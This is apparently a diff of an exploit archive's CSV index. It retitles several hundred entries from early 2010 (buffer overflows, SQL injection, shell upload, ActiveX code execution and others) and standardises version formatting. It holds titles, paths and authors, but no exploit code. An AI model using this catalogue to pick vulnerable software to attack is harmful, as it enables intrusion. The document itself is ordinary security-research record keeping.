-11093,platforms/windows/local/11093.rb,"Soritong v1.0 Universal BOF-SEH (META)",2010-01-10,FB1H2S,windows,local,0
+11093,platforms/windows/local/11093.rb,"Soritong 1.0 - Universal BOF-SEH (META)",2010-01-10,FB1H2S,windows,local,0
 11094,platforms/php/webapps/11094.txt,"Simply Classified 0.2 XSS & CSRF Vulnerabilities",2010-01-10,mr_me,php,webapps,0
 11095,platforms/windows/dos/11095.txt,"YPOPS! v0.9.7.3 Buffer Overflow (SEH)",2010-01-10,blake,windows,dos,0
-11096,platforms/asp/webapps/11096.txt,"ABB v1.1 Forum Remote Database Disclosure Vulnerability",2010-01-10,ViRuSMaN,asp,webapps,0
-11097,platforms/asp/webapps/11097.txt,"Egreetings v1.0 b Remote Database Disclosure Vulnerability",2010-01-10,ViRuSMaN,asp,webapps,0
-11098,platforms/asp/webapps/11098.txt,"E-membres v1.0 Remote Database Disclosure Vulnerability",2010-01-10,ViRuSMaN,asp,webapps,0
+11096,platforms/asp/webapps/11096.txt,"ABB 1.1 - Forum Remote Database Disclosure Vulnerability",2010-01-10,ViRuSMaN,asp,webapps,0
+11097,platforms/asp/webapps/11097.txt,"Egreetings 1.0 b - Remote Database Disclosure Vulnerability",2010-01-10,ViRuSMaN,asp,webapps,0
+11098,platforms/asp/webapps/11098.txt,"E-membres 1.0 - Remote Database Disclosure Vulnerability",2010-01-10,ViRuSMaN,asp,webapps,0
 11101,platforms/hardware/webapps/11101.txt,"Multiple D-Link Routers Authentication Bypass Vulnerability",2010-01-10,"SourceSec DevTeam",hardware,webapps,0
 11103,platforms/windows/dos/11103.html,"VLC Player v0.8.6i ActiveX DoS PoC",2010-01-10,"D3V!L FUCKER and germaya_x",windows,dos,0
 11104,platforms/php/webapps/11104.txt,"CMScontrol 7.x File Upload",2010-01-11,Cyber_945,php,webapps,0
@@ -10207,17 +10207,17 @@ id,file,description,date,author,platform,type,port
 11112,platforms/windows/local/11112.c,"HTMLDOC 1.9.x-r1629 local .html buffer overflow(win32) exploit",2010-01-11,"fl0 fl0w",windows,local,0
 11113,platforms/php/webapps/11113.txt,"tincan ltd (section) SQL Injection Vulnerability",2010-01-11,altbta,php,webapps,0
 11116,platforms/php/webapps/11116.html,"Alwjeez Script Database Backup Exploit",2010-01-11,alnjm33,php,webapps,0
-11117,platforms/hardware/dos/11117.py,"Apple Iphone/Ipod - Udisk FTP Basic Edition Remote 0day DoS Exploit",2010-01-12,mr_me,hardware,dos,8080
+11117,platforms/hardware/dos/11117.py,"iOS Udisk FTP Basic Edition - Remote 0day DoS Exploit",2010-01-12,mr_me,hardware,dos,8080
 11120,platforms/php/webapps/11120.txt,"LayoutCMS 1.0 (SQL/XSS) Multiple Vulnerabilities",2010-01-12,Red-D3v1L,php,webapps,0
 11124,platforms/php/webapps/11124.txt,"CiviCRM 3.1 < Beta 5 Multiple XSS Vulnerabilities",2010-01-13,h00die,php,webapps,0
-11125,platforms/hardware/dos/11125.pl,"SwiFTP v1.11 Overflow Dos PoC",2010-01-13,"Julien Bedard",hardware,dos,2121
+11125,platforms/hardware/dos/11125.pl,"SwiFTP 1.11 - Overflow DoS PoC",2010-01-13,"Julien Bedard",hardware,dos,2121
 11126,platforms/php/webapps/11126.txt,"Populum 2.3 SQL injection vulnerability",2010-01-13,SiLeNtp0is0n,php,webapps,80
-11127,platforms/php/webapps/11127.txt,"Hesk Help Desk 2.1 XSRF",2010-01-13,The.Morpheus,php,webapps,80
+11127,platforms/php/webapps/11127.txt,"Hesk Help Desk 2.1 - CSRF",2010-01-13,The.Morpheus,php,webapps,80
 11130,platforms/windows/dos/11130.pl,"Ofilter Player (skin.ini) Local Crash PoC",2010-01-13,"Rehan Ahmed",windows,dos,0
 11131,platforms/windows/dos/11131.pl,"TurboFTP Server 1.00.712 Remote DoS",2010-01-13,corelanc0d3r,windows,dos,0
 11132,platforms/windows/dos/11132.pl,"Nemesis Player (NSP) Local Denial of Service (DoS) Vulnerability",2010-01-13,"Rehan Ahmed",windows,dos,0
 11133,platforms/windows/dos/11133.pl,"NPlayer (.dat Skin File) Local Heap Overflow PoC",2010-01-13,"Rehan Ahmed",windows,dos,0
-11134,platforms/asp/webapps/11134.txt,"Asp VevoCart Control System Version 3.0.4 DB Download Vulnerability",2010-01-13,indoushka,asp,webapps,0
+11134,platforms/asp/webapps/11134.txt,"Asp VevoCart Control System 3.0.4 - DB Download Vulnerability",2010-01-13,"indoushka salah el ddine",asp,webapps,0
 11135,platforms/php/webapps/11135.txt,"PSI CMS v. 0.3.1 SQLi Vulns",2010-01-13,"learn3r hacker",php,webapps,0
 11136,platforms/php/webapps/11136.txt,"Public Media Manager SQLi vulns",2010-01-13,"learn3r hacker",php,webapps,0
 11138,platforms/windows/remote/11138.c,"Apple iTunes 8.1.x (daap) Buffer overflow remote exploit (CVE-2009-0950)",2010-01-14,Simo36,windows,remote,0
@@ -10225,15 +10225,15 @@ id,file,description,date,author,platform,type,port
 11140,platforms/php/webapps/11140.txt,"Joomla Component com_articlemanager SQL Injection Vulnerability",2010-01-14,FL0RiX,php,webapps,0
 11141,platforms/php/webapps/11141.txt,"dokuwiki 2009-12-25 Multiple Vulnerabilities",2010-01-14,IHTeam,php,webapps,0
 11142,platforms/multiple/dos/11142.txt,"Multiple Media Player HTTP DataHandler Overflow (Itunes, Quicktime, etc)",2010-01-15,Dr_IDE,multiple,dos,0
-11145,platforms/windows/dos/11145.pl,"OtsTurntables Free v1.00.047 SEH Overwrite POC",2010-01-15,Darkb0x,windows,dos,0
-11146,platforms/windows/local/11146.py,"BS.Player v2.51 SEH Overwrite Vulnerability",2010-01-15,"Mert SARICA",windows,local,0
+11145,platforms/windows/dos/11145.pl,"OtsTurntables Free 1.00.047 - SEH Overwrite POC",2010-01-15,DarkB0x,windows,dos,0
+11146,platforms/windows/local/11146.py,"BS.Player 2.51 - SEH Overwrite Vulnerability",2010-01-15,"Mert SARICA",windows,local,0
 11147,platforms/php/webapps/11147.txt,"Max's File Uploader Shell Upload Vulnerability",2010-01-15,S2K9,php,webapps,0
 11148,platforms/php/webapps/11148.txt,"PonVFTP Bypass and Shell Upload Vulnerability",2010-01-15,S2K9,php,webapps,0
-11149,platforms/windows/dos/11149.c,"Sub Station Alpha v4.08 .rt file Local Buffer Overflow PoC",2010-01-15,"fl0 fl0w",windows,dos,0
-11150,platforms/windows/dos/11150.txt,"Aqua Real v1 and 2 Local Crash PoC",2010-01-15,R3d-D3V!L,windows,dos,0
+11149,platforms/windows/dos/11149.c,"Sub Station Alpha 4.08 - (.rt) Local Buffer Overflow PoC",2010-01-15,"fl0 fl0w",windows,dos,0
+11150,platforms/windows/dos/11150.txt,"Aqua Real 1.0 & 2.0 - Local Crash PoC",2010-01-15,R3d-D3v!L,windows,dos,0
 11151,platforms/windows/remote/11151.html,"IE wshom.ocx ActiveX Control Remote Code Execution",2010-01-16,"germaya_x and D3V!L FUCKER",windows,remote,0
-11152,platforms/windows/local/11152.py,"Google SketchUp <= v7.1.6087 'lib3ds' 3DS Importer Memory Corruption",2010-01-16,mr_me,windows,local,0
-11154,platforms/windows/local/11154.py,"BS.Player v2.51 Universal SEH Overflow Exploit",2010-01-16,Dz_attacker,windows,local,0
+11152,platforms/windows/local/11152.py,"Google SketchUp <= 7.1.6087 - 'lib3ds' 3DS Importer Memory Corruption",2010-01-16,mr_me,windows,local,0
+11154,platforms/windows/local/11154.py,"BS.Player 2.51 - Universal SEH Overflow Exploit",2010-01-16,Dz_attacker,windows,local,0
 11155,platforms/php/webapps/11155.txt,"Transload Script Upload Vulnerability",2010-01-16,DigitALL,php,webapps,0
 11156,platforms/php/webapps/11156.txt,"PHP-RESIDENCE <= 0.7.2 Multiple LFI Vulnerability",2010-01-16,cr4wl3r,php,webapps,0
 11157,platforms/php/webapps/11157.txt,"MoME CMS <= 0.8.5 Remote Login Bypass Exploit",2010-01-16,cr4wl3r,php,webapps,0
@@ -10247,36 +10247,36 @@ id,file,description,date,author,platform,type,port
 11166,platforms/php/webapps/11166.txt,"Uploader by CeleronDude 5.3.0 - Upload Vulnerability",2010-01-17,Stink',php,webapps,0
 11167,platforms/windows/remote/11167.py,"Internet Explorer Aurora Exploit",2010-01-17,"Ahmed Obied",windows,remote,0
 11168,platforms/php/webapps/11168.txt,"Joomla Component com_pc LFI Vulnerability",2010-01-17,Pyske,php,webapps,0
-11169,platforms/php/webapps/11169.txt,"Max's Image Uploader Shell Upload Vulnerability",2010-01-17,indoushka,php,webapps,0
-11171,platforms/windows/local/11171.pl,"Audiotran v1.4.1 direct RET BOF",2010-01-17,Jacky,windows,local,0
-11172,platforms/windows/remote/11172.html,"Adobe GetPlus get_atlcom v1.6.2.48 ActiveX Remote Exec 0day POC",2010-01-17,superli,windows,remote,0
+11169,platforms/php/webapps/11169.txt,"Max's Image Uploader Shell Upload Vulnerability",2010-01-17,"indoushka salah el ddine",php,webapps,0
+11171,platforms/windows/local/11171.pl,"Audiotran 1.4.1 - Direct RET BoF",2010-01-17,Jacky,windows,local,0
+11172,platforms/windows/remote/11172.html,"Adobe GetPlus get_atlcom 1.6.2.48 - ActiveX Remote Exec PoC (0day)",2010-01-17,superli,windows,remote,0
 11173,platforms/windows/remote/11173.txt,"TrendMicro Web-Deployment ActiveX Remote Exec 0day POC",2010-01-17,superli,windows,remote,0
 11174,platforms/windows/local/11174.c,"VLC v0.8.6 [b][c][d][a] .ASS file buffer overflow exploit(win32 universal)",2010-01-17,"fl0 fl0w",windows,local,0
 11176,platforms/windows/dos/11176.txt,"Xunlei XPPlayer <= 5.9.14.1246 ActiveX Remote Exec 0day POC",2010-01-17,superli,windows,dos,0
 11177,platforms/php/webapps/11177.txt,"Joomla Component com_prime Directory Traversal",2010-01-17,FL0RiX,php,webapps,0
 11178,platforms/php/webapps/11178.txt,"Joomla Component com_libros SQL Injection Vulnerability",2010-01-17,FL0RiX,php,webapps,0
-11179,platforms/windows/remote/11179.rb,"Exploit EFS Software Easy Chat Server v2.2",2010-01-18,"John Babio",windows,remote,0
+11179,platforms/windows/remote/11179.rb,"Exploit EFS Software Easy Chat Server 2.2",2010-01-18,"John Babio",windows,remote,0
 11180,platforms/windows/dos/11180.pl,"Muziic Player 2.0 (.mp3) Local Denial of Service (DoS)",2010-01-18,Red-D3v1L,windows,dos,0
 11182,platforms/windows/dos/11182.txt,"Internet Explorer 6/7/8 DOS Vulnerability (Shockwave Flash Object)",2010-01-18,"Mert SARICA",windows,dos,0
 11183,platforms/php/webapps/11183.txt,"Multiple directory Traversal Vulnerabilites in Testlink TestManagement and Execution System",2010-01-18,"Prashant Khandelwal",php,webapps,0
 11184,platforms/multiple/webapps/11184.txt,"Permanent Cross-Site Scripting (XSS) in FreePBX 2.5.x – 2.6.0",2010-01-18,"Ivan Huertas",multiple,webapps,0
 11185,platforms/php/webapps/11185.html,"al3jeb script Remote Change Password Exploit",2010-01-18,alnjm33,php,webapps,0
-11186,platforms/multiple/webapps/11186.txt,"SQL injection in FreePBX 2.5.1",2010-01-18,"Ivan Huertas",multiple,webapps,0
+11186,platforms/multiple/webapps/11186.txt,"FreePBX 2.5.1 - SQL injection",2010-01-18,"Ivan Huertas",multiple,webapps,0
 11187,platforms/multiple/webapps/11187.txt,"Information disclosure in FreePBX 2.5.x",2010-01-18,"Ivan Huertas",multiple,webapps,0
 11188,platforms/php/webapps/11188.txt,"Fatwiki (fwiki) Remote FiLe include RFI",2010-01-18,kaMtiEz,php,webapps,0
-11189,platforms/php/webapps/11189.txt,"Soft Direct v1.05 Multiple Vulnerabilities",2010-01-18,indoushka,php,webapps,0
+11189,platforms/php/webapps/11189.txt,"Soft Direct 1.05 - Multiple Vulnerabilities",2010-01-18,"indoushka salah el ddine",php,webapps,0
 11190,platforms/windows/dos/11190.txt,"AOL 9.5 ActiveX Heap Overflow Vulnerability",2010-01-19,"Hellcode Research",windows,dos,0
-11191,platforms/windows/local/11191.pl,"Millenium MP3 Studio v1.X (.m3u File) Local Stack Overflow",2010-01-19,NeoCortex,windows,local,0
+11191,platforms/windows/local/11191.pl,"Millenium MP3 Studio 1.x - (.m3u File) Local Stack Overflow",2010-01-19,NeoCortex,windows,local,0
 11192,platforms/windows/dos/11192.txt,"OpenOffice "".slk"" File Parsing Null Pointer Vulnerability",2010-01-19,"Hellcode Research",windows,dos,0
 11195,platforms/windows/dos/11195.html,"Microsoft Windows Defender ActiveX Heap Overflow PoC",2010-01-19,SarBoT511,windows,dos,0
-11196,platforms/windows/dos/11196.html,"Foxit Reader v3.1.4.1125 ActiveX Heap Overflow PoC",2010-01-19,"SarBoT511 and D3V!L FUCKER",windows,dos,0
+11196,platforms/windows/dos/11196.html,"Foxit Reader 3.1.4.1125 - ActiveX Heap Overflow PoC",2010-01-19,"SarBoT511 and D3V!L FUCKER",windows,dos,0
 11197,platforms/windows/dos/11197.py,"Mini-stream Ripper 3.0.1.1 (.smi) Local Buffer Overflow PoC",2010-01-19,d3b4g,windows,dos,0
 11198,platforms/php/webapps/11198.txt,"al3jeb script Remote Login Bypass Exploit",2010-01-19,cr4wl3r,php,webapps,0
 11199,platforms/windows/local/11199.txt,"Windows NT User Mode to Ring 0 Escalation Vulnerability",2010-01-19,"Tavis Ormandy",windows,local,0
 11202,platforms/windows/local/11202.pl,"RM Downloader .m3u BOF (SEH)",2010-01-19,Jacky,windows,local,0
 11203,platforms/multiple/remote/11203.py,"Pidgin MSN <= 2.6.4 File Download Vulnerability",2010-01-19,"Mathieu GASPARD",multiple,remote,0
 11204,platforms/windows/remote/11204.html,"AOL 9.5 ActiveX 0day Exploit (heap spray)",2010-01-20,Dz_attacker,windows,remote,0
-11205,platforms/windows/local/11205.pl,"MP3 Studio v1.X (.m3u File) Local Stack Overflow (Universal)",2010-01-20,"D3V!L FUCKER",windows,local,0
+11205,platforms/windows/local/11205.pl,"MP3 Studio 1.x - (.m3u File) Local Stack Overflow (Universal)",2010-01-20,"D3V!L FUCKER",windows,local,0
 11208,platforms/windows/local/11208.pl,"jetAudio 8.0.0.2 Basic (m3u) Stack Overflow Exploit",2010-01-21,cr4wl3r,windows,local,0
 11209,platforms/windows/dos/11209.pl,"jetAudio 8.0.0.2 Basic Local Crash Exploit",2010-01-21,cr4wl3r,windows,dos,0
 11210,platforms/windows/remote/11210.rb,"EFS Easy Chat server Universal BOF-SEH (Meta)",2010-01-21,FB1H2S,windows,remote,0
@@ -10287,7 +10287,7 @@ id,file,description,date,author,platform,type,port
 11215,platforms/windows/webapps/11215.txt,"SHOUTcast Server Version <= 1.9.8/win32 CSRF Vulnerability",2010-01-21,cp77fk4r,windows,webapps,0
 11216,platforms/php/webapps/11216.txt,"Blog System 1.x (note) SQL Injection Vuln",2010-01-21,"BorN To K!LL",php,webapps,0
 11217,platforms/windows/dos/11217.txt,"IntelliTamper 2.07/2.08 (defer)Remote Buffer Overflow Poc",2010-01-21,SkuLL-HacKeR,windows,dos,0
-11218,platforms/multiple/webapps/11218.txt,"jQuery uploadify v2.1.0 Remote File Upload",2010-01-21,k4cp3r/Ablus,multiple,webapps,0
+11218,platforms/multiple/webapps/11218.txt,"jQuery uploadify 2.1.0 - Remote File Upload",2010-01-21,k4cp3r/Ablus,multiple,webapps,0
 11219,platforms/windows/local/11219.pl,"SOMPL Player Buffer Overflow",2010-01-22,Rick2600,windows,local,0
 11220,platforms/windows/remote/11220.py,"IntelliTamper 2.07/2.08 (SEH) Remote Buffer Overflow",2010-01-22,loneferret,windows,remote,0
 11222,platforms/php/webapps/11222.txt,"Joomla Component com_gameserver SQL Injection Vulnerability",2010-01-22,B-HUNT3|2,php,webapps,0
@@ -10300,26 +10300,26 @@ id,file,description,date,author,platform,type,port
 11229,platforms/windows/local/11229.txt,"IE wshom.ocx (Run) ActiveX Remote Code Execution (add admin user)",2010-01-22,Stack,windows,local,0
 11232,platforms/windows/local/11232.c,"Authentium SafeCentral <= 2.6 shdrv.sys local kernel ring0 SYSTEM exploit",2010-01-22,mu-b,windows,local,0
 11233,platforms/windows/dos/11233.pl,"QtWeb 3.0 Remote DoS/Crash Exploit",2010-01-22,"Zer0 Thunder",windows,dos,0
-11234,platforms/windows/dos/11234.py,"Sonique2 v2.0 Beta Build 103 Local Crash PoC",2010-01-23,b0telh0,windows,dos,0
-11235,platforms/php/webapps/11235.txt,"magic-portal v2.1 SQL Injection Vulnerability",2010-01-23,alnjm33,php,webapps,0
+11234,platforms/windows/dos/11234.py,"Sonique2 2.0 Beta Build 103 - Local Crash PoC",2010-01-23,b0telh0,windows,dos,0
+11235,platforms/php/webapps/11235.txt,"magic-portal 2.1 - SQL Injection Vulnerability",2010-01-23,alnjm33,php,webapps,0
 11236,platforms/php/webapps/11236.txt,"Joomla Component com_ContentBlogList SQL Injection Vulnerability",2010-01-23,B-HUNT3|2,php,webapps,0
 11237,platforms/php/webapps/11237.txt,"Joomla (com_casino) SQL Injection Vulnerabilities",2010-01-23,B-HUNT3|2,php,webapps,0
 11238,platforms/php/webapps/11238.txt,"Joomla (com_jbpublishdownfp) SQL Injection Vulnerability",2010-01-23,B-HUNT3|2,php,webapps,0
 11239,platforms/php/webapps/11239.txt,"Joomla (JBDiary) BLIND SQL Injection Vulnerabilities",2010-01-23,B-HUNT3|2,php,webapps,0
 11240,platforms/php/webapps/11240.txt,"OpenDb 1.5.0.4 Multiple LFI Vulnerability",2010-01-23,"ViRuSMaN ",php,webapps,0
 11243,platforms/windows/webapps/11243.txt,"Joomla (com_mochigames) SQL Injection Vulnerability",2010-01-24,B-HUNT3|2,windows,webapps,0
-11244,platforms/php/webapps/11244.txt,"Silverstripe <=2.3.5 CSRForgery and Open Redirection Vulnerabilities",2010-01-24,cp77fk4r,php,webapps,0
+11244,platforms/php/webapps/11244.txt,"Silverstripe <= 2.3.5 - CSRForgery and Open Redirection Vulnerabilities",2010-01-24,cp77fk4r,php,webapps,0
 11245,platforms/windows/dos/11245.txt,"Firefox 3.6 (XML parser) Memory Corruption PoC/DoS",2010-01-24,d3b4g,windows,dos,0
 11247,platforms/windows/dos/11247.txt,"Opera 10.10 (XML parser) Denial of Service PoC",2010-01-24,d3b4g,windows,dos,0
-11248,platforms/windows/dos/11248.pl,"Winamp v5.572 whatsnew.txt Stack Overflow PoC",2010-01-24,Debug,windows,dos,0
-11249,platforms/php/webapps/11249.txt,"boastMachine v3.1 Remote File Upload Vulnerability",2010-01-24,alnjm33,php,webapps,0
-11254,platforms/windows/dos/11254.pl,"P2GChinchilla HTTP Server v1.1.1 Denial Of Service Exploit",2010-01-24,"Zer0 Thunder",windows,dos,0
-11255,platforms/windows/local/11255.pl,"Winamp v5.572 whatsnew.txt Stack Overflow Exploit",2010-01-25,Dz_attacker,windows,local,0
-11256,platforms/windows/local/11256.pl,"Winamp v5.572 whatsnew.txt Local Buffer Overflow Exploit WinXP SP3 De",2010-01-25,NeoCortex,windows,local,0
+11248,platforms/windows/dos/11248.pl,"Winamp 5.572 - whatsnew.txt Stack Overflow PoC",2010-01-24,Debug,windows,dos,0
+11249,platforms/php/webapps/11249.txt,"boastMachine 3.1 - Remote File Upload Vulnerability",2010-01-24,alnjm33,php,webapps,0
+11254,platforms/windows/dos/11254.pl,"P2GChinchilla HTTP Server 1.1.1 - Denial Of Service Exploit",2010-01-24,"Zer0 Thunder",windows,dos,0
+11255,platforms/windows/local/11255.pl,"Winamp 5.572 - whatsnew.txt Stack Overflow Exploit",2010-01-25,Dz_attacker,windows,local,0
+11256,platforms/windows/local/11256.pl,"Winamp 5.572 - whatsnew.txt Local Buffer Overflow Exploit WinXP SP3 De",2010-01-25,NeoCortex,windows,local,0
 11257,platforms/windows/remote/11257.rb,"AOL 9.5 Phobos.Playlist 'Import()' Buffer Overflow Exploit (Meta)",2010-01-25,Trancer,windows,remote,0
 11258,platforms/php/webapps/11258.html,"Status2k Remote Add Admin Exploit",2010-01-25,alnjm33,php,webapps,0
 11260,platforms/windows/dos/11260.txt,"AIC Audio Player 1.4.1.587 Local Crash PoC",2010-01-26,b0telh0,windows,dos,0
-11261,platforms/php/webapps/11261.txt,"UGiA PHP UPLOADER V0.2 Shell Upload Vulnerability",2010-01-26,indoushka,php,webapps,0
+11261,platforms/php/webapps/11261.txt,"UGiA PHP UPLOADER V0.2 Shell Upload Vulnerability",2010-01-26,"indoushka salah el ddine",php,webapps,0
 11262,platforms/php/webapps/11262.php,"Joomla 1.5.12 connect back exploit",2010-01-26,"Nikola Petrov",php,webapps,0
 11263,platforms/php/webapps/11263.php,"Joomla 1.5.12 read/exec remote files",2010-01-26,"Nikoal Petrov",php,webapps,0
 11264,platforms/windows/local/11264.txt,"South River Technologies WebDrive Service Bad Security Descriptor Local Privilege Escalation",2010-01-26,Trancer,windows,local,0
@@ -10328,12 +10328,12 @@ id,file,description,date,author,platform,type,port
 11267,platforms/windows/local/11267.py,"Winamp 5.572 Exploit - SEH",2010-01-26,TecR0c,windows,local,0
 11270,platforms/php/webapps/11270.txt,"Joomla VirtueMart Module (Customers_who_bought...) SQL Injection Vulnerability",2010-01-27,B-HUNT3|2,php,webapps,0
 11271,platforms/php/webapps/11271.txt,"Joomla Component (com_virtuemart) order_status_id SQL Injection Vulnerability",2010-01-27,B-HUNT3|2,php,webapps,0
-11272,platforms/windows/remote/11272.py,"CamShot v1.2 SEH Overwrite Exploit",2010-01-27,tecnik,windows,remote,0
-11273,platforms/hardware/dos/11273.py,"Apple Iphone/Ipod - Serversman 3.1.5 HTTP Remote DoS Exploit",2010-01-27,mr_me,hardware,dos,0
+11272,platforms/windows/remote/11272.py,"CamShot 1.2 - SEH Overwrite Exploit",2010-01-27,tecnik,windows,remote,0
+11273,platforms/hardware/dos/11273.py,"iOS Serversman 3.1.5 - HTTP Remote DoS Exploit",2010-01-27,mr_me,hardware,dos,0
 11274,platforms/php/webapps/11274.pl,"Woltlab Burningboard Addon Kleinanzeigenmarkt SQL Injection Exploit",2009-12-21,fred777,php,webapps,0
 11276,platforms/windows/dos/11276.txt,"Microsoft Internet Explorer 6.0/7.0 NULL pointer crashes",2010-01-20,SkyLined,windows,dos,0
 11277,platforms/php/webapps/11277.txt,"Joomla Component com_ccnewsletter Directory Traversal Vulnerability",2010-01-28,B-HUNT3|2,php,webapps,0
-11278,platforms/php/webapps/11278.txt,"NovaBoard v1.1.2 SQL Injection Vulnerability",2010-01-28,Delibey,php,webapps,0
+11278,platforms/php/webapps/11278.txt,"NovaBoard 1.1.2 - SQL Injection Vulnerability",2010-01-28,Delibey,php,webapps,0
 11279,platforms/php/webapps/11279.txt,"Joomla Component com_kunena Blind SQL Injection Vulnerability",2010-01-28,B-HUNT3|2,php,webapps,0
 11280,platforms/php/webapps/11280.txt,"Joomla Component jVideoDirect Blind SQL Injection Vulnerability",2010-01-28,B-HUNT3|2,php,webapps,0
 11281,platforms/windows/local/11281.c,"Rising AntiVirus 2008/2009/2010 Local Privilege Escalation Exploit",2010-01-28,Dlrow,windows,local,0
@@ -10346,39 +10346,39 @@ id,file,description,date,author,platform,type,port
 11290,platforms/php/webapps/11290.txt,"phpunity.newsmanager LFI Vulnerability",2010-01-30,kaMtiEz,php,webapps,0
 11291,platforms/hardware/dos/11291.txt,"Xerox Workcenter 4150 Remote Buffer Overflow",2010-01-30,"Francis Provencher",hardware,dos,0
 11292,platforms/php/webapps/11292.txt,"Joomla Component JE Event Calendar SQL Injection Vulnerability",2010-01-30,B-HUNT3|2,php,webapps,0
-11293,platforms/windows/remote/11293.py,"Vermillion FTP Deamon v1.31 Remote BOF Exploit",2010-01-30,Dz_attacker,windows,remote,0
+11293,platforms/windows/remote/11293.py,"Vermillion FTP Deamon 1.31 - Remote BOF Exploit",2010-01-30,Dz_attacker,windows,remote,0
 11294,platforms/php/webapps/11294.txt,"Joomla Component com_simplefaq (catid) Blind Sql Injection Vulnerability",2010-01-30,AtT4CKxT3rR0r1ST,php,webapps,0
 11295,platforms/asp/webapps/11295.txt,"eWebeditor ASP Version Multiple Vulnerabilities",2010-01-29,N/A,asp,webapps,0
 11296,platforms/php/webapps/11296.txt,"ThinkAdmin (page.php) Sql Injection Vulnerability",2010-01-30,AtT4CKxT3rR0r1ST,php,webapps,0
-11297,platforms/php/webapps/11297.txt,"IPB (nv2) Awards > 1.1.0 SQL Injection PoC",2010-01-30,fred777,php,webapps,0
+11297,platforms/php/webapps/11297.txt,"IPB (nv2) Awards > 1.1.0 - SQL Injection PoC",2010-01-30,fred777,php,webapps,0
 11298,platforms/php/webapps/11298.txt,"dotProject 2.1.3 XSS and Improper Permissions",2010-01-30,h00die,php,webapps,80
 11299,platforms/php/webapps/11299.txt,"crownweb (page.cfm) Sql Injection Vulnerability",2010-01-31,AtT4CKxT3rR0r1ST,php,webapps,0
 11300,platforms/php/webapps/11300.txt,"Creative SplashWorks-SplashSite (page.php) Blind Sql Injection Vulnerability",2010-01-31,AtT4CKxT3rR0r1ST,php,webapps,0
-11301,platforms/php/webapps/11301.txt,"Maian Greetings v2.1 Shell Upload Vulnerability",2010-01-31,indoushka,php,webapps,0
+11301,platforms/php/webapps/11301.txt,"Maian Greetings 2.1 - Shell Upload Vulnerability",2010-01-31,"indoushka salah el ddine",php,webapps,0
 11303,platforms/php/webapps/11303.txt,"Saman Portal Sql Injection Vulnerability",2010-01-31,"Pouya Daneshmand",php,webapps,0
 11305,platforms/php/webapps/11305.txt,"ShoutCMS (content.php) Blind Sql Injection Vulnerability",2010-02-01,"Zero Cold",php,webapps,0
 11306,platforms/php/webapps/11306.txt,"Evernew Free Joke Script (viewjokes.php) SQL Injection",2010-02-01,"Hamza 'MizoZ' N.",php,webapps,0
 11307,platforms/php/webapps/11307.txt,"Joomla (Job Component) SQL Injection Vulnerability",2010-02-01,B-HUNT3|2,php,webapps,0
 11308,platforms/php/webapps/11308.txt,"Joomla (Yelp Component) SQL Injection Vulnerability",2010-02-01,B-HUNT3|2,php,webapps,0
-11309,platforms/php/webapps/11309.txt,"Snif v1.5.2 - Any Filetype Download Exploit",2010-02-01,Aodrulez,php,webapps,0
+11309,platforms/php/webapps/11309.txt,"Snif 1.5.2 - Any Filetype Download Exploit",2010-02-01,Aodrulez,php,webapps,0
 11310,platforms/asp/webapps/11310.txt,"RaakCMS Multiple Vulnerabilities",2010-02-01,"Pouya Daneshmand",asp,webapps,0
-11311,platforms/php/webapps/11311.txt,"Home Of AlegroCart v1.1 - [ Xsrf] Change Administrator Password",2010-02-01,The.Morpheus,php,webapps,0
-11314,platforms/windows/local/11314.py,"CoreFTP v2.1 b1637 (password field) Universal BOF Exploit",2010-02-02,mr_me,windows,local,0
+11311,platforms/php/webapps/11311.txt,"Home Of AlegroCart 1.1 - CSRF Change Administrator Password",2010-02-01,The.Morpheus,php,webapps,0
+11314,platforms/windows/local/11314.py,"CoreFTP 2.1 b1637 - (password field) Universal BOF Exploit",2010-02-02,mr_me,windows,local,0
 11315,platforms/windows/local/11315.c,"Deepburner pro 1.9.0.228 dbr file Buffer Overflow Exploit (Universal)",2010-02-02,"fl0 fl0w",windows,local,0
 11316,platforms/php/webapps/11316.txt,"GCP 2.0 datasets provided as BioCASE web services",2010-02-02,R3VAN_BASTARD,php,webapps,0
 11317,platforms/windows/local/11317.c,"Qihoo 360 Security Guard breg device drivers Privilege Escalation Vulnerability",2010-02-02,anonymous,windows,local,0
 11318,platforms/php/webapps/11318.txt,"Dlili Script SQL Injection Vulnerability",2010-02-02,Dr.DaShEr,php,webapps,0
 11319,platforms/php/webapps/11319.txt,"MYRE Classified (cat) SQL Injection Vulnerability",2010-02-02,kaMtiEz,php,webapps,0
 11320,platforms/windows/dos/11320.pl,"Digital Amp MP3 3.1 (.Mp3) Local Crash Poc",2010-02-02,SkuLL-HackeR,windows,dos,0
-11321,platforms/php/webapps/11321.txt,"MobPartner Chat  Multiple Sql Injection Vulnerabilities",2010-02-02,AtT4CKxT3rR0r1ST,php,webapps,0
+11321,platforms/php/webapps/11321.txt,"MobPartner Chat Multiple Sql Injection Vulnerabilities",2010-02-02,AtT4CKxT3rR0r1ST,php,webapps,0
 11322,platforms/php/webapps/11322.txt,"KubeLance 1.7.6 (Add Admin) CSRF Vulnerability",2010-02-03,"Milos Zivanovic",php,webapps,0
 11323,platforms/php/webapps/11323.txt,"PHP Car Rental-Script (Auth Bypass) SQL Injection",2010-02-03,"Hamza 'MizoZ' N.",php,webapps,0
-11324,platforms/jsp/webapps/11324.txt,"Hipergate v4.0.12 Multiple Vulnerabilities",2010-02-03,"Nahuel Grisolia",jsp,webapps,0
+11324,platforms/jsp/webapps/11324.txt,"Hipergate 4.0.12 - Multiple Vulnerabilities",2010-02-03,"Nahuel Grisolia",jsp,webapps,0
 11325,platforms/php/webapps/11325.txt,"RealAdmin (detail.php) Blind Sql Injection Vulnerability",2010-02-03,AtT4CKxT3rR0r1ST,php,webapps,0
 11326,platforms/php/webapps/11326.txt,"cityadmin (links.php) Blind Sql Injection Vulnerability",2010-02-03,AtT4CKxT3rR0r1ST,php,webapps,0
 11327,platforms/php/webapps/11327.txt,"myBusinessAdmin (content.php) Blind Sql Injection Vulnerability",2010-02-03,AtT4CKxT3rR0r1ST,php,webapps,0
-11328,platforms/windows/remote/11328.py,"UplusFtp Server v1.7.0.12 Remote Buffer Overflow",2010-02-04,b0telh0,windows,remote,0
-11329,platforms/php/webapps/11329.txt,"MASA2EL Music City v1.0 Remote Sql Injection Vulnerability",2010-02-04,alnjm33,php,webapps,0
+11328,platforms/windows/remote/11328.py,"UplusFtp Server 1.7.0.12 - Remote Buffer Overflow",2010-02-04,b0telh0,windows,remote,0
+11329,platforms/php/webapps/11329.txt,"MASA2EL Music City 1.0 - Remote SQL Injection Vulnerability",2010-02-04,alnjm33,php,webapps,0
